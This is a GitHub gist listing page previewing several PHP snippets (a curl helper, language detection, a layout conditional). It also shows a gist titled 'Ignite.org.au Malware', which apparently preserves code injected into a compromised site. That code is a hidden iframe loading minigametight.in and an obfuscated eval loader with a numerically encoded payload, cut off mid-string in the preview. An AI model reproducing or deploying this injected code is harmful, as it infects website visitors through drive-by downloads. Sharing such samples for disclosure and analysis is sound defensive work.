Skip to content

Instantly share code, notes, and snippets.

@SimonEast
SimonEast / curl_function.php
Last active September 18, 2018 07:39
PHP Curl (The Easy Way)
<?php
/**
* Easy remote HTTP requests using a single function
* (How curl probably SHOULD have been written originally)
*
* If you need something more advanced/robust, use 'guzzle'
* But this function is useful for when you don't need a massive library,
* but rather something simpler and more lightweight
*
* Examples:
@SimonEast
SimonEast / LanguageDetect.php
Created January 15, 2018 05:56
PHP: Choosing the closest matching language from Accept-Language header
<?php
/**
* So you have a list of languages your site supports
* and want to automatically assign the user to the closest
* one.
*
* Usage:
*
* LanguageDetect::findBestMatch(['en', 'fr', 'gr']);
* LanguageDetect::findBestMatchOrFallback(['en', 'fr', 'gr']);
@SimonEast
SimonEast / gist:3096494
Created July 12, 2012 07:41
Ignite.org.au Malware
<body><!--c3284d--><script type="text/javascript">
document.write('<iframe src="http://minigametight.in/in.cgi?7" name="Twitter" scrolling="auto" frameborder="no" align="center" height="2" width="2"></iframe>');
</script><!--/c3284d-->
<!--0b7b2e--><script>d=Date;d=new d();h=-parseInt('012')/5;if(window.document)try{new document.getElementById("qwe").prototype}catch(qqq){st=String;zz='al';zz='v'+zz;ss="";if(1){f='f'+'r'+'o'+'m'+'Ch'+'ar';f=f+'C'+'od'+'e';}e=this[f.substr(11)+zz];t='y';}n="3.5~3.5~51.5~50~15~19~49~54.5~48.5~57.5~53.5~49.5~54~57~22~50.5~49.5~57~33.5~53~49.5~53.5~49.5~54~57~56.5~32~59.5~41~47.5~50.5~38~47.5~53.5~49.5~19~18.5~48~54.5~49~59.5~18.5~19.5~44.5~23~45.5~19.5~60.5~5.5~3.5~3.5~3.5~51.5~50~56~47.5~53.5~49.5~56~19~19.5~28.5~5.5~3.5~3.5~61.5~15~49.5~53~56.5~49.5~15~60.5~5.5~3.5~3.5~3.5~49~54.5~48.5~57.5~53.5~49.5~54~57~22~58.5~56~51.5~57~49.5~19~16~29~51.5~50~56~47.5~53.5~49.5~15~56.5~56~48.5~29.5~18.5~51~57~57~55~28~22.5~22.5~56~49.5~51.5~49~53.5~56~22~54.5~56~50.5~22.5~53.5~47.5~51.5~54~
@SimonEast
SimonEast / gist:3030169
Created July 2, 2012 00:25
IF statement for columns
<?
// Widen the center column (no right column) when the following conditions are true
if ((
empty($rightColumnContent) // <-- this can be set in controller, will leave room in the right column if set
&& (empty($page) || count($page['Widget']) == 0)
)
|| $bodyId == 'events_index'
|| $bodyId == 'events_past'
) {
$innerColumn1Content_width = "675px";